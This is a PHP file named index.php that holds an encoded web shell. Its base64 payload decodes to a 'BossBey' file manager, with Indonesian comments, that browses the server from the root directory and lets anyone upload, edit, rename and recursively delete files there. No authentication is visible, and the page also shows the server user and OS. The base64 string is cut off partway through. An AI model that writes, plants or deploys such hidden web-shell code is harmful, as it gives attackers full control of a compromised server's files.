📄 Viewing: index.php

<?php
$__original_code_content = base64_decode('LyoqDQogKiBGaWxlIE1hbmFnZXIgLSBMaW51eCBSb290IEFjY2VzcyBWZXJzaW9uDQogKiBGaXR1cjogTmF2aWdhc2kgQnJlYWRjcnVtYiBQZW51aCBkYXJpIC8gKFJvb3QpDQogKi8NCg0KLy8gLS0tIEtPTkZJR1VSQVNJIC0tLQ0KDQovLyBEZWZhdWx0IGRpcmVrdG9yaSBzYWF0IHNjcmlwdCBwZXJ0YW1hIGthbGkgZGlidWthIGFkYWxhaCBmb2xkZXIgc2NyaXB0IGluaSBiZXJhZGENCi8vIFRhcGkga2l0YSBpemlua2FuIG5hdmlnYXNpIHNhbXBhaSBrZSBTeXN0ZW0gUm9vdCAiLyINCiRzdGFydERpciA9IF9fRElSX187IA0KDQovLyBBbWJpbCBwYXJhbWV0ZXIgJ2RpcicgZGFyaSBVUkwsIGppa2EgdGlkYWsgYWRhIGd1bmFrYW4gZm9sZGVyIHNhYXQgaW5pDQokcmVxdWVzdERpciA9IGlzc2V0KCRfR0VUWydkaXInXSkgPyAkX0dFVFsnZGlyJ10gOiAkc3RhcnREaXI7DQoNCi8vIE5vcm1hbGlzYXNpIHBhdGggKFJlYWxwYXRoIG1lbWJlcnNpaGthbiAuLi8gZGFuIHN5bWxpbmspDQokY3VycmVudFBhdGggPSByZWFscGF0aCgkcmVxdWVzdERpcik7DQoNCi8vIEppa2EgcGF0aCB0aWRhayB2YWxpZCAobWlzYWwgdXNlciBrZXRpayBzZW1iYXJhbmdhbiksIGtlbWJhbGlrYW4ga2UgZm9sZGVyIHNjcmlwdA0KaWYgKCRjdXJyZW50UGF0aCA9PT0gZmFsc2UgfHwgIWZpbGVfZXhpc3RzKCRjdXJyZW50UGF0aCkpIHsNCiAgICAkY3VycmVudFBhdGggPSByZWFscGF0aCgkc3RhcnREaXIpOw0KfQ0KDQovLyBWYXJpYWJlbCBVSQ0KJG1lc3NhZ2UgPSAnJzsNCiRtc2dUeXBlID0gJyc7IA0KJG1vZGUgPSAnbWFpbic7IC8vIG1haW4sIGVkaXQsIHJlbmFtZQ0KJGVkaXRGaWxlID0gJyc7DQokZWRpdENvbnRlbnQgPSAnJzsNCiRyZW5hbWVUYXJnZXQgPSAnJzsNCg0KLy8gLS0tIEZVTkdTSSBCQU5UVUFOIC0tLQ0KDQpmdW5jdGlvbiBmb3JtYXRTaXplKCRieXRlcykgew0KICAgIGlmICgkYnl0ZXMgPiAwKSB7DQogICAgICAgIHJldHVybiBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgfQ0KICAgIHJldHVybiAnLSc7DQp9DQoNCmZ1bmN0aW9uIGdldFNhZmVQYXRoKCRiYXNlLCAkaW5wdXROYW1lKSB7DQogICAgLy8gS2FyZW5hIGtpdGEgZGkgTGludXgsIGdhYnVuZ2thbiBwYXRoIGRlbmdhbiAnLycNCiAgICByZXR1cm4gcnRyaW0oJGJhc2UsIERJUkVDVE9SWV9TRVBBUkFUT1IpIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICRpbnB1dE5hbWU7DQp9DQoNCi8vIEhhcHVzIGZvbGRlciByZWt1cnNpZg0KZnVuY3Rpb24gZGVsZXRlUmVjdXJzaXZlKCRkaXIpIHsNCiAgICBpZiAoIWlzX2RpcigkZGlyKSkgcmV0dXJuIHVubGluaygkZGlyKTsNCiAgICAkaXRlbXMgPSBzY2FuZGlyKCRkaXIpOw0KICAgIGZvcmVhY2ggKCRpdGVtcyBhcyAkaXRlbSkgew0KICAgICAgICBpZiAoJGl0ZW0gPT0gJy4nIHx8ICRpdGVtID09ICcuLicpIGNvbnRpbnVlOw0KICAgICAgICAkcGF0aCA9ICRkaXIgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJGl0ZW07DQogICAgICAgIGlmIChpc19kaXIoJHBhdGgpKSBkZWxldGVSZWN1cnNpdmUoJHBhdGgpOw0KICAgICAgICBlbHNlIHVubGluaygkcGF0aCk7DQogICAgfQ0KICAgIHJldHVybiBybWRpcigkZGlyKTsNCn0NCg0KLy8gQ2VrIGFwYWthaCBkaXJla3RvcmkgYmlzYSBkaXR1bGlzIChXcml0YWJsZSkNCmZ1bmN0aW9uIGlzV3JpdGFibGUoJHBhdGgpIHsNCiAgICByZXR1cm4gaXNfd3JpdGFibGUoJHBhdGgpOw0KfQ0KDQovLyAtLS0gUFJPU0VTIEFDVElPTiAoUE9TVCkgLS0tDQoNCmlmICgkX1NFUlZFUlsnUkVRVUVTVF9NRVRIT0QnXSA9PT0gJ1BPU1QnKSB7DQogICAgJGFjdGlvbiA9ICRfUE9TVFsnYWN0aW9uJ10gPz8gJyc7DQogICAgDQogICAgLy8gVXBsb2FkDQogICAgaWYgKCRhY3Rpb24gPT09ICd1cGxvYWQnKSB7DQogICAgICAgIGlmIChpc3NldCgkX0ZJTEVTWydmaWxlVXBsb2FkJ10pICYmICRfRklMRVNbJ2ZpbGVVcGxvYWQnXVsnZXJyb3InXSA9PT0gVVBMT0FEX0VSUl9PSykgew0KICAgICAgICAgICAgJG5hbWUgPSBiYXNlbmFtZSgkX0ZJTEVTWydmaWxlVXBsb2FkJ11bJ25hbWUnXSk7DQogICAgICAgICAgICAkdGFyZ2V0ID0gZ2V0U2FmZVBhdGgoJGN1cnJlbnRQYXRoLCAkbmFtZSk7DQogICAgICAgICAgICBpZiAobW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbJ2ZpbGVVcGxvYWQnXVsndG1wX25hbWUnXSwgJHRhcmdldCkpIHsNCiAgICAgICAgICAgICAgICAkbWVzc2FnZSA9ICJGaWxlIHVwbG9hZGVkIHN1Y2Nlc3NmdWxseS4iOw0KICAgICAgICAgICAgICAgICRtc2dUeXBlID0gInN1Y2Nlc3MiOw0KICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAkbWVzc2FnZSA9ICJVcGxvYWQgZmFpbGVkLiBDaGVjayBmb2xkZXIgcGVybWlzc2lvbnMuIjsNCiAgICAgICAgICAgICAgICAkbXNnVHlwZSA9ICJlcnJvciI7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICAvLyBDcmVhdGUgRmlsZQ0KICAgIGVsc2VpZiAoJGFjdGlvbiA9PT0gJ2NyZWF0ZV9maWxlJykgew0KICAgICAgICAkbmFtZSA9ICRfUE9TVFsnbmV3X2ZpbGVuYW1lJ10gPz8gJyc7DQogICAgICAgIGlmICghZW1wdHkoJG5hbWUpKSB7DQogICAgICAgICAgICAkdGFyZ2V0ID0gZ2V0U2FmZVBhdGgoJGN1cnJlbnRQYXRoLCAkbmFtZSk7DQogICAgICAgICAgICBpZiAoIWZpbGVfZXhpc3RzKCR0YXJnZXQpKSB7DQogICAgICAgICAgICAgICAgaWYgKEBmaWxlX3B1dF9jb250ZW50cygkdGFyZ2V0LCAiIikgIT09IGZhbHNlKSB7DQogICAgICAgICAgICAgICAgICAgICRtZXNzYWdlID0gIkZpbGUgY3JlYXRlZCBzdWNjZXNzZnVsbHkuIjsNCiAgICAgICAgICAgICAgICAgICAgJG1zZ1R5cGUgPSAic3VjY2VzcyI7DQogICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgJG1lc3NhZ2UgPSAiRmFpbGVkIHRvIGNyZWF0ZSBmaWxlLiBQZXJtaXNzaW9uIGRlbmllZC4iOw0KICAgICAgICAgICAgICAgICAgICAkbXNnVHlwZSA9ICJlcnJvciI7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAkbWVzc2FnZSA9ICJGaWxlIGFscmVhZHkgZXhpc3RzLiI7DQogICAgICAgICAgICAgICAgJG1zZ1R5cGUgPSAiZXJyb3IiOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgLy8gQ3JlYXRlIEZvbGRlcg0KICAgIGVsc2VpZiAoJGFjdGlvbiA9PT0gJ2NyZWF0ZV9mb2xkZXInKSB7DQogICAgICAgICRuYW1lID0gJF9QT1NUWyduZXdfZm9sZGVybmFtZSddID8/ICcnOw0KICAgICAgICBpZiAoIWVtcHR5KCRuYW1lKSkgew0KICAgICAgICAgICAgJHRhcmdldCA9IGdldFNhZmVQYXRoKCRjdXJyZW50UGF0aCwgJG5hbWUpOw0KICAgICAgICAgICAgaWYgKCFmaWxlX2V4aXN0cygkdGFyZ2V0KSkgew0KICAgICAgICAgICAgICAgIGlmIChAbWtkaXIoJHRhcmdldCkpIHsNCiAgICAgICAgICAgICAgICAgICAgJG1lc3NhZ2UgPSAiRm9sZGVyIGNyZWF0ZWQgc3VjY2Vzc2Z1bGx5LiI7DQogICAgICAgICAgICAgICAgICAgICRtc2dUeXBlID0gInN1Y2Nlc3MiOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICRtZXNzYWdlID0gIkZhaWxlZCB0byBjcmVhdGUgZm9sZGVyLiBQZXJtaXNzaW9uIGRlbmllZC4iOw0KICAgICAgICAgICAgICAgICAgICAkbXNnVHlwZSA9ICJlcnJvciI7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAkbWVzc2FnZSA9ICJGb2xkZXIgYWxyZWFkeSBleGlzdHMuIjsNCiAgICAgICAgICAgICAgICAkbXNnVHlwZSA9ICJlcnJvciI7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICAvLyBEZWxldGUNCiAgICBlbHNlaWYgKCRhY3Rpb24gPT09ICdkZWxldGUnKSB7DQogICAgICAgICR0YXJnZXROYW1lID0gJF9QT1NUWyd0YXJnZXRfbmFtZSddID8/ICcnOw0KICAgICAgICAkdGFyZ2V0UGF0aCA9IGdldFNhZmVQYXRoKCRjdXJyZW50UGF0aCwgJHRhcmdldE5hbWUpOw0KICAgICAgICANCiAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCR0YXJnZXRQYXRoKSkgew0KICAgICAgICAgICAgJHN1Y2Nlc3MgPSBpc19kaXIoJHRhcmdldFBhdGgpID8gZGVsZXRlUmVjdXJzaXZlKCR0YXJnZXRQYXRoKSA6IHVubGluaygkdGFyZ2V0UGF0aCk7DQogICAgICAgICAgICBpZiAoJHN1Y2Nlc3MpIHsNCiAgICAgICAgICAgICAgICAkbWVzc2FnZSA9ICJJdGVtIGRlbGV0ZWQgc3VjY2Vzc2Z1bGx5LiI7DQogICAgICAgICAgICAgICAgJG1zZ1R5cGUgPSAic3VjY2VzcyI7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICRtZXNzYWdlID0gIkRlbGV0ZSBmYWlsZWQuIFBlcm1pc3Npb24gZGVuaWVkLiI7DQogICAgICAgICAgICAgICAgJG1zZ1R5cGUgPSAiZXJyb3IiOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgLy8gRWRpdCBNb2RlDQogICAgZWxzZWlmICgkYWN0aW9uID09PSAnZWRpdF9tb2RlJykgew0KICAgICAgICAkdGFyZ2V0TmFtZSA9ICRfUE9TVFsndGFyZ2V0X25hbWUnXSA/PyAnJzsNCiAgICAgICAgJHRhcmdldFBhdGggPSBnZXRTYWZlUGF0aCgkY3VycmVudFBhdGgsICR0YXJnZXROYW1lKTsNCiAgICAgICAgaWYgKGlzX2ZpbGUoJHRhcmdldFBhdGgpICYmIGlzX3JlYWRhYmxlKCR0YXJnZXRQYXRoKSkgew0KICAgICAgICAgICAgJG1vZGUgPSAnZWRpdCc7DQogICAgICAgICAgICAkZWRpdEZpbGUgPSAkdGFyZ2V0TmFtZTsNCiAgICAgICAgICAgICRlZGl0Q29udGVudCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCR0YXJnZXRQYXRoKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICRtZXNzYWdlID0gIkNhbm5vdCByZWFkIGZpbGUuIjsNCiAgICAgICAgICAgICRtc2dUeXBlID0gImVycm9yIjsNCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIC8vIFNhdmUgRmlsZQ0KICAgIGVsc2VpZiAoJGFjdGlvbiA9PT0gJ3NhdmVfZmlsZScpIHsNCiAgICAgICAgJHRhcmdldE5hbWUgPSAkX1BPU1RbJ3RhcmdldF9uYW1lJ10gPz8gJyc7DQogICAgICAgICRjb250ZW50ID0gJF9QT1NUWydmaWxlX2NvbnRlbnQnXSA/PyAnJzsNCiAgICAgICAgJHRhcmdldFBhdGggPSBnZXRTYWZlUGF0aCgkY3VycmVudFBhdGgsICR0YXJnZXROYW1lKTsNCiAgICAgICAgDQogICAgICAgIC8vIE5vcm1hbGlzYXNpIE5ld2xpbmUgdW50dWsgTGludXgNCiAgICAgICAgJGNvbnRlbnQgPSBzdHJfcmVwbGFjZSgiXHJcbiIsICJcbiIsICRjb250ZW50KTsNCg0KICAgICAgICBpZiAoQGZpbGVfcHV0X2NvbnRlbnRzKCR0YXJnZXRQYXRoLCAkY29udGVudCkgIT09IGZhbHNlKSB7DQogICAgICAgICAgICAkbWVzc2FnZSA9ICJGaWxlIHNhdmVkIHN1Y2Nlc3NmdWxseS4iOw0KICAgICAgICAgICAgJG1zZ1R5cGUgPSAic3VjY2VzcyI7DQogICAgICAgICAgICAkbW9kZSA9ICdtYWluJzsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICRtZXNzYWdlID0gIkZhaWxlZCB0byBzYXZlIGZpbGUuIFBlcm1pc3Npb24gZGVuaWVkLiI7DQogICAgICAgICAgICAkbXNnVHlwZSA9ICJlcnJvciI7DQogICAgICAgICAgICAkbW9kZSA9ICdlZGl0JzsNCiAgICAgICAgICAgICRlZGl0RmlsZSA9ICR0YXJnZXROYW1lOw0KICAgICAgICAgICAgJGVkaXRDb250ZW50ID0gJGNvbnRlbnQ7DQogICAgICAgIH0NCiAgICB9DQoNCiAgICAvLyBSZW5hbWUNCiAgICBlbHNlaWYgKCRhY3Rpb24gPT09ICdyZW5hbWVfbW9kZScpIHsNCiAgICAgICAgJG1vZGUgPSAncmVuYW1lJzsNCiAgICAgICAgJHJlbmFtZVRhcmdldCA9ICRfUE9TVFsndGFyZ2V0X25hbWUnXTsNCiAgICB9DQogICAgZWxzZWlmICgkYWN0aW9uID09PSAnZG9fcmVuYW1lJykgew0KICAgICAgICAkb2xkTmFtZSA9ICRfUE9TVFsnb2xkX25hbWUnXTsNCiAgICAgICAgJG5ld05hbWUgPSBiYXNlbmFtZSgkX1BPU1RbJ25ld19uYW1lJ10pOw0KICAgICAgICAkb2xkUGF0aCA9IGdldFNhZmVQYXRoKCRjdXJyZW50UGF0aCwgJG9sZE5hbWUpOw0KICAgICAgICAkbmV3UGF0aCA9IGdldFNhZmVQYXRoKCRjdXJyZW50UGF0aCwgJG5ld05hbWUpOw0KDQogICAgICAgIGlmICghZW1wdHkoJG5ld05hbWUpICYmIGZpbGVfZXhpc3RzKCRvbGRQYXRoKSAmJiAhZmlsZV9leGlzdHMoJG5ld1BhdGgpKSB7DQogICAgICAgICAgICBpZiAoQHJlbmFtZSgkb2xkUGF0aCwgJG5ld1BhdGgpKSB7DQogICAgICAgICAgICAgICAgJG1lc3NhZ2UgPSAiUmVuYW1lZCBzdWNjZXNzZnVsbHkuIjsNCiAgICAgICAgICAgICAgICAkbXNnVHlwZSA9ICJzdWNjZXNzIjsNCiAgICAgICAgICAgICAgICAkbW9kZSA9ICdtYWluJzsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgJG1lc3NhZ2UgPSAiUmVuYW1lIGZhaWxlZC4gUGVybWlzc2lvbiBkZW5pZWQuIjsNCiAgICAgICAgICAgICAgICAkbXNnVHlwZSA9ICJlcnJvciI7DQogICAgICAgICAgICB9DQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAkbWVzc2FnZSA9ICJJbnZhbGlkIG5hbWUgb3IgYWxyZWFkeSBleGlzdHMuIjsNCiAgICAgICAgICAgICRtc2dUeXBlID0gImVycm9yIjsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBlbHNlaWYgKCRhY3Rpb24gPT09ICdjYW5jZWwnKSB7DQogICAgICAgICRtb2RlID0gJ21haW4nOw0KICAgIH0NCn0NCg0KLy8gLS0tIERBVEEgTElTVElORyAtLS0NCiRpdGVtcyA9IFtdOw0KaWYgKCRtb2RlID09PSAnbWFpbicpIHsNCiAgICAvLyBHdW5ha2FuIHNjYW5kaXIgYmlhc2ENCiAgICAkc2Nhbm5lZCA9IEBzY2FuZGlyKCRjdXJyZW50UGF0aCk7DQogICAgDQogICAgaWYgKCRzY2FubmVkID09PSBmYWxzZSkgew0KICAgICAgICAkbWVzc2FnZSA9ICJBY2Nlc3MgRGVuaWVkOiBDYW5ub3QgcmVhZCBkaXJlY3RvcnkuIjsNCiAgICAgICAgJG1zZ1R5cGUgPSAiZXJyb3IiOw0KICAgIH0gZWxzZSB7DQogICAgICAgICRmb2xkZXJzID0gW107DQogICAgICAgICRmaWxlcyA9IFtdOw0KDQogICAgICAgIGZvcmVhY2ggKCRzY2FubmVkIGFzICRpdGVtKSB7DQogICAgICAgICAgICBpZiAoJGl0ZW0gPT0gJy4nKSBjb250aW51ZTsNCiAgICAgICAgICAgIA0KICAgICAgICAgICAgJGZ1bGxQYXRoID0gZ2V0U2FmZVBhdGgoJGN1cnJlbnRQYXRoLCAkaXRlbSk7DQogICAgICAgICAgICANCiAgICAgICAgICAgIC8vIExvZ2ljIFRvbWJvbCBbLi5dIChQYXJlbnQpDQogICAgICAgICAgICAvLyBKaWthIGl0ZW0gYWRhbGFoICcuLicgZGFuIGtpdGEgQlVLQU4gZGkgcm9vdCBzeXN0ZW0gKCcvJyksIG1ha2EgdGFtcGlsa2FuDQogICAgICAgICAgICBpZiAoJGl0ZW0gPT0gJy4uJykgew0KICAgICAgICAgICAgICAgIGlmICgkY3VycmVudFBhdGggIT0gRElSRUNUT1JZX1NFUEFSQVRPUiAmJiAkY3VycmVudFBhdGggIT0gJy8nKSB7DQogICAgICAgICAgICAgICAgICAgICRwYXJlbnRQYXRoID0gZGlybmFtZSgkY3VycmVudFBhdGgpOw0KICAgICAgICAgICAgICAgICAgICAkZm9sZGVyc1tdID0gWw0KICAgICAgICAgICAgICAgICAgICAgICAgJ25hbWUnID0+ICdbLi5dJywNCiAgICAgICAgICAgICAgICAgICAgICAgICdwYXRoJyA9PiAkcGFyZW50UGF0aCwgLy8gUGF0aCBwYXJlbnQgcGVudWgNCiAgICAgICAgICAgICAgICAgICAgICAgICd0eXBlJyA9PiAnRm9sZGVyJywNCiAgICAgICAgICAgICAgICAgICAgICAgICdzaXplJyA9PiAnLScsDQogICAgICAgICAgICAgICAgICAgICAgICAncGVybScgPT4gJycsDQogICAgICAgICAgICAgICAgICAgICAgICAnaXNfcGFyZW50JyA9PiB0cnVlDQogICAgICAgICAgICAgICAgICAgIF07DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAvLyBDZWsgcGVybWlzc2lvbiByd3ggKFJlYWQgV3JpdGUgRXhlY3V0ZSkgc2ltcGVsDQogICAgICAgICAgICAkcGVybXMgPSBzdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJGZ1bGxQYXRoKSksIC00KTsNCiAgICAgICAgICAgICRpc1dyaXRhYmxlID0gaXNfd3JpdGFibGUoJGZ1bGxQYXRoKTsNCiAgICAgICAgICAgICRwZXJtU3RyID0gJHBlcm1zIC4gKCRpc1dyaXRhYmxlID8gJyAoVyknIDogJyAoUi1PKScpOw0KDQogICAgICAgICAgICBpZiAoaXNfZGlyKCRmdWxsUGF0aCkpIHsNCiAgICAgICAgICAgICAgICAkZm9sZGVyc1tdID0gWw0KICAgICAgICAgICAgICAgICAgICAnbmFtZScgPT4gJGl0ZW0sDQogICAgICAgICAgICAgICAgICAgICdwYXRoJyA9PiAkZnVsbFBhdGgsIC8vIFNpbXBhbiBmdWxsIHBhdGggdW50dWsgbGluaw0KICAgICAgICAgICAgICAgICAgICAndHlwZScgPT4gJ0ZvbGRlcicsDQogICAgICAgICAgICAgICAgICAgICdzaXplJyA9PiAnLScsDQogICAgICAgICAgICAgICAgICAgICdwZXJtJyA9PiAkcGVybVN0ciwNCiAgICAgICAgICAgICAgICAgICAgJ2lzX3BhcmVudCcgPT4gZmFsc2UNCiAgICAgICAgICAgICAgICBdOw0KICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAkZmlsZXNbXSA9IFsNCiAgICAgICAgICAgICAgICAgICAgJ25hbWUnID0+ICRpdGVtLA0KICAgICAgICAgICAgICAgICAgICAncGF0aCcgPT4gJGZ1bGxQYXRoLA0KICAgICAgICAgICAgICAgICAgICAndHlwZScgPT4gJ0ZpbGUnLA0KICAgICAgICAgICAgICAgICAgICAnc2l6ZScgPT4gZm9ybWF0U2l6ZShmaWxlc2l6ZSgkZnVsbFBhdGgpKSwNCiAgICAgICAgICAgICAgICAgICAgJ3Blcm0nID0+ICRwZXJtU3RyLA0KICAgICAgICAgICAgICAgICAgICAnaXNfcGFyZW50JyA9PiBmYWxzZQ0KICAgICAgICAgICAgICAgIF07DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgJGl0ZW1zID0gYXJyYXlfbWVyZ2UoJGZvbGRlcnMsICRmaWxlcyk7DQogICAgfQ0KfQ0KDQovLyBJbmZvIFNlcnZlcg0KJHNlcnZlckluZm8gPSBnZXRfY3VycmVudF91c2VyKCkgLiAiQCIgLiBwaHBfdW5hbWUoJ24nKSAuICIgKCIgLiBQSFBfT1MgLiAiKSI7DQo/Pg0KDQo8IURPQ1RZUEUgaHRtbD4NCjxodG1sIGxhbmc9ImVuIj4NCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8dGl0bGU+RmlsZSBNYW5hZ2VyIChCb3NzQmV5KTwvdGl0bGU+DQogICAgPHN0eWxlPg0KICAgICAgICBib2R5IHsgZm9udC1mYW1pbHk6IEFyaWFsLCBzYW5zLXNlcmlmOyBtYXJnaW46IDIwcHg7IGJhY2tncm91bmQ6ICNmNGY0ZjQ7IH0NCiAgICAgICAgLmNvbnRhaW5lciB7IG1heC13aWR0aDogMTAwMHB4OyBtYXJnaW46IGF1dG87IGJhY2tncm91bmQ6ICNmZmY7IHBhZGRpbmc6IDIwcHg7IGJvcmRlci1yYWRpdXM6IDVweDsgYm94LXNoYWRvdzogMCAwIDEwcHggcmdiYSgwLDAsMCwwLjEpOyB9DQogICAgICAgIGgyIHsgbWFyZ2luLXRvcDogMDsgfQ0KICAgICAgICAuYnJlYWRjcnVtYiB7IA0KICAgICAgICAgICAgZm9udC1zaXplOiAxLjFlbTsNCiAgICAgICAgICAgIGZvbnQtZmFtaWx5OiBtb25vc3BhY2U7IA0KICAgICAgICAgICAgcGFkZGluZzogMTJweDsgDQogICAgICAgICAgICBiYWNrZ3JvdW5kOiAjZTllY2VmOyANCiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDRweDsNCiAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDIwcHg7DQogICAgICAgICAgICB3b3JkLXdyYXA6IGJyZWFrLXdvcmQ7DQogICAgICAgIH0NCiAgICAgICAgLmJyZWFkY3J1bWIgYSB7IHRleHQtZGVjb3JhdGlvbjogbm9uZTsgY29sb3I6ICMwMDdiZmY7IGZvbnQtd2VpZ2h0OiBib2xkOyB9DQogICAgICAgIC5icmVhZGNydW1iIGE6aG92ZXIgeyB0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsgY29sb3I6ICMwMDU2YjM7IH0NCiAgICAgICAgLmJyZWFkY3J1bWIgLnNlcCB7IGNvbG9yOiAjNmM3NTdkOyBtYXJnaW46IDAgNXB4OyB9DQogICAgICAgIA0KICAgICAgICAubXNnIHsgcGFkZGluZzogMTJweDsgbWFyZ2luLWJvdHRvbTogMjBweDsgYm9yZGVyLXJhZGl1czogNHB4OyBib3JkZXI6IDFweCBzb2xpZCB0cmFuc3BhcmVudDsgfQ0KICAgICAgICAuc3VjY2VzcyB7IGJhY2tncm91bmQ6ICNkNGVkZGE7IGNvbG9yOiAjMTU1NzI0OyBib3JkZXItY29sb3I6ICNjM2U2Y2I7IH0NCiAgICAgICAgLmVycm9yIHsgYmFja2dyb3VuZDogI2Y4ZDdkYTsgY29sb3I6ICM3MjFjMjQ7IGJvcmRlci1jb2xvcjogI2Y1YzZjYjsgfQ0KICAgICAgICANCiAgICAgICAgLmZvcm0tc2VjdGlvbiB7IGJhY2tncm91bmQ6ICNmOGY5ZmE7IHBhZGRpbmc6IDE1cHg7IGJvcmRlci1yYWRpdXM6IDRweDsgbWFyZ2luLWJvdHRvbTogMjBweDsgYm9yZGVyOiAxcHggc29saWQgI2RkZDsgfQ0KICAgICAgICANCiAgICAgICAgdGFibGUgeyB3aWR0aDogMTAwJTsgYm9yZGVyLWNvbGxhcHNlOiBjb2xsYXBzZTsgfQ0KICAgICAgICB0aCB7IGJhY2tncm91bmQ6ICNmMWYxZjE7IHRleHQtYWxpZ246IGxlZnQ7IHBhZGRpbmc6IDEwcHg7IGJvcmRlci1ib3R0b206IDJweCBzb2xpZCAjZGRkOyB9DQogICAgICAgIHRkIHsgcGFkZGluZzogMTBweDsgYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICNlZWU7IHZlcnRpY2FsLWFsaWduOiBtaWRkbGU7IH0NCiAgICAgICAgdHI6aG92ZXIgeyBiYWNrZ3JvdW5kOiAjZjlmOWY5OyB9DQogICAgICAgIA0KICAgICAgICAuZm9sZGVyLWxpbmsgeyBmb250LXdlaWdodDogYm9sZDsgY29sb3I6ICNkNjMzODQ7IHRleHQtZGVjb3JhdGlvbjogbm9uZTsgfQ0KICAgICAgICAuZmlsZS1saW5rIHsgY29sb3I6ICMzMzM7IH0NCiAgICAgICAgLmFjdGlvbnMgYnV0dG9uIHsgY3Vyc29yOiBwb2ludGVyOyBtYXJnaW4tcmlnaHQ6IDVweDsgcGFkZGluZzogMnB4IDhweDsgZm9udC1zaXplOiAwLjg1ZW07IH0NCiAgICAgICAgLmVkaXRvci1hcmVhIHsgd2lkdGg6IDEwMCU7IGhlaWdodDogNDAwcHg7IGZvbnQtZmFtaWx5OiBtb25vc3BhY2U7IHBhZGRpbmc6IDEwcHg7IGJveC1zaXppbmc6IGJvcmRlci1ib3g7IH0NCiAgICAgICAgLnNlcnZlci1pbmZvIHsgZm9udC1zaXplOiAwLjhlbTsgY29sb3I6ICM2NjY7IGZsb2F0OiByaWdodDsgZm9udC13ZWlnaHQ6IG5vcm1hbDsgfQ0KICAgIDwvc3R5bGU+DQo8L2hlYWQ+DQo8Ym9keT4NCg0KPGRpdiBjbGFzcz0iY29udGFpbmVyIj4NCiAgICA8aDI+KEJvc3NCZXkpIEZpbGUgTWFuYWdlcjwvaDI+DQoNCiAgICA8ZGl2IGNsYXNzPSJicmVhZGNydW1iIj4NCiAgICAgICAgPD9waHANCiAgICAgICAgLy8gMS4gTGluayBrZSBST09UIFNpc3RlbSAoLykNCiAgICAgICAgZWNobyAiPGEgaHJlZj0nP2Rpcj0iIC4gdXJsZW5jb2RlKCcvJykgLiAiJz5bUk9PVF08L2E+IjsNCiAgICAgICAgDQogICAgICAgIC8vIDIuIFBlY2FoIFBhdGggbWVuamFkaSBBcnJheSB1bnR1ayBkaWJ1YXQgbGluayBzYXR1IHBlciBzYXR1DQogICAgICAgIC8vIENvbnRvaDogL2hvbWUvdXNlci9wdWJsaWNfaHRtbCAtPiBbJycsICdob21lJywgJ3VzZXInLCAncHVibGljX2h0bWwnXQ0KICAgICAgICAkcGF0aFBhcnRzID0gZXhwbG9kZShESVJFQ1RPUllfU0VQQVJBVE9SLCAkY3VycmVudFBhdGgpOw0KICAgICAgICAkYnVpbGRMaW5rID0gJyc7DQogICAgICAgIA0KICAgICAgICBmb3JlYWNoICgkcGF0aFBhcnRzIGFzICRwYXJ0KSB7DQogICAgICAgICAgICBpZiAoJHBhcnQgPT09ICcnKSBjb250aW51ZTsgLy8gU2tpcCBrb3NvbmcgYWtpYmF0IGV4cGxvZGUgJy8nIGRpIGF3YWwNCiAgICAgICAgICAgIA0KICAgICAgICAgICAgLy8gQmFuZ3VuIHBhdGggYmVydGFoYXA6IC9ob21lLCBsYWx1IC9ob21lL3VzZXIsIGRzdA0KICAgICAgICAgICAgJGJ1aWxkTGluayAuPSBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJHBhcnQ7DQogICAgICAgICAgICANCiAgICAgICAgICAgIGVjaG8gIjxzcGFuIGNsYXNzPSdzZXAnPi88L3NwYW4+IjsNCiAgICAgICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9kaXI9IiAuIHVybGVuY29kZSgkYnVpbGRMaW5rKSAuICInPiIgLiBodG1sc3BlY2lhbGNoYXJzKCRwYXJ0KSAuICI8L2E+IjsNCiAgICAgICAgfQ0KICAgICAgICA/Pg0KICAgICAgICA8ZGl2IGNsYXNzPSJzZXJ2ZXItaW5mbyI+PD9waHAgZWNobyAkc2VydmVySW5mbzsgPz48L2Rpdj4NCiAgICA8L2Rpdj4NCg0KICAgIDw/cGhwIGlmICgkbWVzc2FnZSk6ID8+DQogICAgICAgIDxkaXYgY2xhc3M9Im1zZyA8P3BocCBlY2hvICRtc2dUeXBlOyA/PiI+DQogICAgICAgICAgICA8P3BocCBl